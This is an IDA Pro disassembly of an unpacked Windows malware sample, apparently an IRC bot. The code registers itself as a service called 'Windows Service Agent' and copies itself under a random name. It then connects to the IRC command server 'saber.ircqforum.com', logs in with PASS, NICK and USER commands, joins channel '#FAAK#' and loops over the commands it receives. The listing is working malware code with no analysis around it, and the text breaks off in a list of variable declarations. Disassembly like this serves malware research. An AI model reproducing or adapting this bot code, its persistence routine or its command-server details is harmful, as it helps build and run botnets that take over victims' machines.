;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	8B71E371E5EC44F273957E5378816B69

; File Name   :	u:\work\8b71e371e5ec44f273957e5378816b69_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DB000 ( 897024.)
; Section size in file		: 000DB000 ( 897024.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401576p
					; sub_418857+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsService ; "Windows Service Agent"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4C92B8
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B960
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4C9328
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4C9268


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4C92E0
		add	edi, 8
		cmp	edi, offset dword_429068
		jl	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:0041699Ep

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BC9B
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BC88
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BB48
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41BA60
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41BA31
		push	edi
		call	sub_41B9DB
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43C24C
		call	dword_4C939C
		call	sub_40B576
		call	dword_4C925C
		call	dword_4C925C
		mov	ebx, dword_427088
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BD10
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43B4B8
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 26603BDh
		nop
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427078
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43B4B0
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	near ptr 77E75CB5h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418B82
		pop	ecx
		mov	dword_4C9040, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270B8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4C9044, eax
		call	esi
		push	eax
		call	sub_41C058
		pop	ecx
		call	sub_4098FD
		push	2
		call	dword_4C93B0
		push	7530h
		push	offset a1221	; "1221"
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		push	eax
		nop
		call	near ptr 2690830h
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4C9274
		cmp	eax, ebx
		jnz	loc_4017DE
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017D8
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017D8
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26906BCh
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41C151
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429ACC
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41C100
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41C080
		add	esp, 30h
		test	eax, eax
		jnz	loc_401513
		cmp	dword_4C91B0, ebx
		mov	esi, offset byte_429108
		jz	short loc_401399
		push	esi
		xor	edi, edi
		call	sub_41B960
		sub	eax, 4
		pop	ecx
		jz	short loc_401399


loc_401376:				; CODE XREF: ___:00401397j
		call	sub_41C062
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41B960
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401376


loc_401399:				; CODE XREF: ___:00401366j
					; ___:00401374j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC4
		push	eax
		call	sub_41C006
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 269058Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013D9
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2690408h


loc_4013D9:				; CODE XREF: ___:004013C5j
		mov	esi, dword_4270A0
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F0:				; CODE XREF: ___:00401427j
		call	esi
		test	eax, eax
		jnz	short loc_401429
		nop
		call	near ptr 2680DCDh
		cmp	edi, ebx
		jnz	short loc_401429
		cmp	eax, 20h
		jz	short loc_40140A
		cmp	eax, 5
		jnz	short loc_401429


loc_40140A:				; CODE XREF: ___:00401403j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 268051Bh
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F0
; ---------------------------------------------------------------------------


loc_401429:				; CODE XREF: ___:004013F4j
					; ___:004013FEj ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418791
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 2690408h
		nop
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41BD10
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset byte_43B4B8
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		call	near ptr 2680D91h
		nop
		push	eax
		push	esi
		push	100000h
		call	near ptr 2680883h
		nop
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB8
		push	eax
		call	sub_41C006
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26603BDh
		test	eax, eax
		jz	short loc_401513
		push	0C8h
		nop
		call	near ptr 268051Bh
		push	dword ptr [ebp-20h]
		mov	esi, dword_427078
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4C925C
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401513:				; CODE XREF: ___:00401355j
					; ___:004014E9j
		cmp	dword_4D9730, 2
		jle	short loc_40155F
		mov	eax, dword_4D9734
		push	dword ptr [eax+4]
		call	sub_41BEF9
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 2690830h
		push	esi
		nop
		call	near ptr 2660000h
		mov	eax, dword_4D9734
		cmp	[eax+8], ebx
		jz	short loc_40155F
		push	7D0h
		nop
		call	near ptr 268051Bh
		mov	eax, dword_4D9734
		push	dword ptr [eax+8]
		call	near ptr 26807FFh
		nop


loc_40155F:				; CODE XREF: ___:0040151Aj
					; ___:00401544j
		cmp	dword_42908C, ebx
		jz	short loc_40157C
		cmp	dword_4C93D4, ebx
		jnz	short loc_40157C
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157C:				; CODE XREF: ___:00401565j
					; ___:0040156Dj
		lea	eax, [ebp-0A0h]
		push	offset dword_429A9C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B3AD
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415CEE
		push	0B80h
		push	ebx
		push	offset dword_43B4C0
		call	sub_41BD10
		lea	eax, [ebp-0A0h]
		push	offset unk_429A78
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B3AD
		add	esp, 38h
		mov	esi, eax
		mov	edi, dword_42708C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset word_419EEE
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43C254[esi], eax
		jnz	short loc_40161C
		call	near ptr 2680DCDh
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A38
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_40161C:				; CODE XREF: ___:004015FFj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415CEE
		push	2
		call	sub_40B5F5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A1
		lea	eax, [ebp-0A0h]
		push	offset dword_429A0C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B3AD
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BBE
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43C254[esi], eax
		jnz	short loc_401694
		nop
		call	near ptr 2680DCDh
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D8
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_401694:				; CODE XREF: ___:00401677j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415CEE
		pop	ecx


loc_4016A1:				; CODE XREF: ___:00401633j
		call	sub_41C062
		push	7Fh
		and	eax, 3
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4C904C
		mov	dword_4C91B8, eax
		call	sub_41BD70
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4C90CC
		push	offset dword_4290D4
		push	edi
		mov	dword_4C919C, eax
		call	sub_41BD70
		push	3Fh
		mov	esi, offset dword_4C910C
		push	offset dword_4290DC
		push	esi
		call	sub_41BD70
		add	esp, 24h
		mov	dword_4C91A0, ebx


loc_4016F6:				; CODE XREF: ___:0040177Ej
					; ___:00401789j ...
		mov	[ebp-4], ebx


loc_4016F9:				; CODE XREF: ___:00401732j
		push	offset dword_4C9048
		mov	dword_4C91B4, ebx
		call	sub_4017E7
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D3
		cmp	dword_4C91B4, ebx
		jz	short loc_401720
		dec	dword ptr [ebp-4]


loc_401720:				; CODE XREF: ___:0040171Bj
		push	0BB8h
		call	near ptr 268051Bh
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016F9
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D3
		cmp	[ebp-0Ch], ebx
		jz	short loc_401783
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4C904C
		call	sub_41BD70
		mov	eax, dword_42906C
		push	3Fh
		push	offset dword_4290D4
		push	edi
		mov	dword_4C919C, eax
		call	sub_41BD70
		push	3Fh
		push	offset dword_4290DC
		push	esi
		call	sub_41BD70
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016F6
; ---------------------------------------------------------------------------


loc_401783:				; CODE XREF: ___:00401741j
		cmp	byte_4290E4, bl
		jz	loc_4016F6
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4C904C
		call	sub_41BD70
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4C919C, eax
		call	sub_41BD70
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BD70
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016F6
; ---------------------------------------------------------------------------


loc_4017D3:				; CODE XREF: ___:0040170Fj
					; ___:00401738j
		call	sub_40B576


loc_4017D8:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4C925C


loc_4017DE:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017E7	proc near		; CODE XREF: ___:00401704p
					; DATA XREF: sub_401AC7+658Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40180C:				; CODE XREF: sub_4017E7+E6j
					; sub_4017E7+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4C9304
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A8E4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_401939
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BD10
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_42909C
		push	dword_429098
		push	eax
		call	sub_40AE77
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43C258
		push	edi
		push	eax
		call	sub_41BD70
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4C9384
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43C24C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4C92AC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D2
		push	esi
		call	dword_4C939C
		call	sub_40A90D
		push	7D0h


loc_4018C7:				; CODE XREF: sub_4017E7+146j
		call	near ptr 268051Bh
		nop
		jmp	loc_40180C
; ---------------------------------------------------------------------------


loc_4018D2:				; CODE XREF: sub_4017E7+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD4
		call	sub_415D62
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40194F
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4C939C
		test	edi, edi
		jz	loc_40180C
		cmp	edi, 1
		jnz	short loc_40192F
		push	0DBBA0h
		jmp	short loc_4018C7
; ---------------------------------------------------------------------------


loc_40192F:				; CODE XREF: sub_4017E7+13Fj
		cmp	edi, 2
		jz	short loc_40193D
		jmp	loc_40180C
; ---------------------------------------------------------------------------


loc_401939:				; CODE XREF: sub_4017E7+5Aj
		xor	eax, eax
		jmp	short loc_401949
; ---------------------------------------------------------------------------


loc_40193D:				; CODE XREF: sub_4017E7+14Bj
		push	[ebp+var_34]
		call	sub_40B6C9
		pop	ecx
		push	2
		pop	eax


loc_401949:				; CODE XREF: sub_4017E7+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40194F	proc near		; CODE XREF: sub_4017E7+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41C2A0
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_40196D:				; CODE XREF: sub_40194F+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40196D
		cmp	byte_4290D0, bl
		jz	short loc_401994
		push	offset byte_4290D0
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40981C
		add	esp, 0Ch


loc_401994:				; CODE XREF: sub_40194F+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AE77
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41C006
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4019FE
		push	[ebp+arg_0]
		call	dword_4C939C
		push	1388h
		nop
		call	near ptr 268051Bh


loc_4019F7:				; CODE XREF: sub_40194F+D9j
					; sub_40194F+153j
		xor	eax, eax


loc_4019F9:				; CODE XREF: sub_40194F+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4019FE:				; CODE XREF: sub_40194F+92j
					; sub_40194F+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4C931C
		test	eax, eax
		jle	short loc_4019F7
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_41847D
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_4019FE
		lea	edi, [ebp+var_A90]


loc_401A4F:				; CODE XREF: sub_40194F+165j
		push	1
		pop	esi


loc_401A52:				; CODE XREF: sub_40194F+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401AC7
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A95
		push	7D0h
		nop
		call	near ptr 268051Bh
		jmp	short loc_401A52
; ---------------------------------------------------------------------------


loc_401A95:				; CODE XREF: sub_40194F+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401ABF
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401ABB
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019F7
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A4F
		jmp	loc_4019FE
; ---------------------------------------------------------------------------


loc_401ABB:				; CODE XREF: sub_40194F+14Ej
		push	1
		jmp	short loc_401AC1
; ---------------------------------------------------------------------------


loc_401ABF:				; CODE XREF: sub_40194F+149j
		push	2


loc_401AC1:				; CODE XREF: sub_40194F+16Ej
		pop	eax
		jmp	loc_4019F9
sub_40194F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AC7	proc near		; CODE XREF: sub_40194F+12Ap

var_568C	= byte ptr -568Ch
var_528C	= byte ptr -528Ch
var_50FC	= byte ptr -50FCh
var_4FF8	= byte ptr -4FF8h
var_4EF8	= byte ptr -4EF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
var_4AF4	= byte ptr -4AF4h
var_49F4	= byte ptr -49F4h
var_48F0	= byte ptr -48F0h
var_47F0	= byte ptr -47F0h
var_46F0	= byte ptr -46F0h
var_45F0	= byte ptr -45F0h
var_458C	= byte ptr -458Ch
var_448C	= byte ptr -448Ch
var_438C	= byte ptr -438Ch
var_428C	= byte ptr -428Ch
var_408C	= byte ptr -408Ch
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E04	= byte ptr -3E04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= byte ptr -3CE8h
var_3C68	= byte ptr -3C68h
var_3BE8	= byte ptr -3BE8h
var_3B68	= byte ptr -3B68h
var_3AE8	= byte ptr -3AE8h
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= byte ptr -3A58h
var_37D1	= byte ptr -37D1h
var_37D0	= byte ptr -37D0h
var_36CC	= dword	ptr -36CCh
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B0	= dword	ptr -36B0h
var_36AC	= dword	ptr -36ACh
var_36A8	= byte ptr -36A8h
var_3628	= byte ptr -3628h
var_35A8	= byte ptr -35A8h
var_3528	= byte ptr -3528h
var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= byte ptr -3494h
var_3414	= byte ptr -3414h
var_3394	= byte ptr -3394h
var_3314	= byte ptr -3314h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= byte ptr -3280h
var_3200	= byte ptr -3200h
var_3180	= byte ptr -3180h
var_3100	= byte ptr -3100h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= byte ptr -306Ch
var_2FEC	= byte ptr -2FECh
var_2F6C	= byte ptr -2F6Ch
var_2EEC	= byte ptr -2EECh
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= byte ptr -2E5Ch
var_2D58	= dword	ptr -2D58h
var_2D54	= byte ptr -2D54h
var_2C50	= byte ptr -2C50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= byte ptr -2B40h
var_2AC0	= dword	ptr -2AC0h
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AAC	= byte ptr -2AACh
var_2994	= byte ptr -2994h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
